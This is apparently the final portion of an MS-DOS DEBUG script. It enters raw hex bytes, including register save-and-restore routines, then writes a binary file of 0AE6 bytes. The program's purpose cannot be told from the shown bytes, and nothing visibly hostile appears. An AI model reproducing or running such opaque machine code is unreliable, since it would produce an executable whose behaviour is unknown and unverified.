E 0BA0 F3 A6 5E 74 13 26 80 3D 00 74 03 47 EB F7 47 26
|
||
E 0BB0 80 3D 00 74 05 42 EB E5 F9 C3 F8 C3 2E 8F 06 21
|
||
E 0BC0 04 9C 50 53 51 52 55 56 57 06 1E 2E FF 36 21 04
|
||
E 0BD0 C3 2E 8F 06 21 04 1F 07 5F 5E 5D 5A 59 5B 58 9D
|
||
E 0BE0 2E FF 36 21 04 C3
|
||
R CX
|
||
0AE6
|
||
W
|
||
Q
|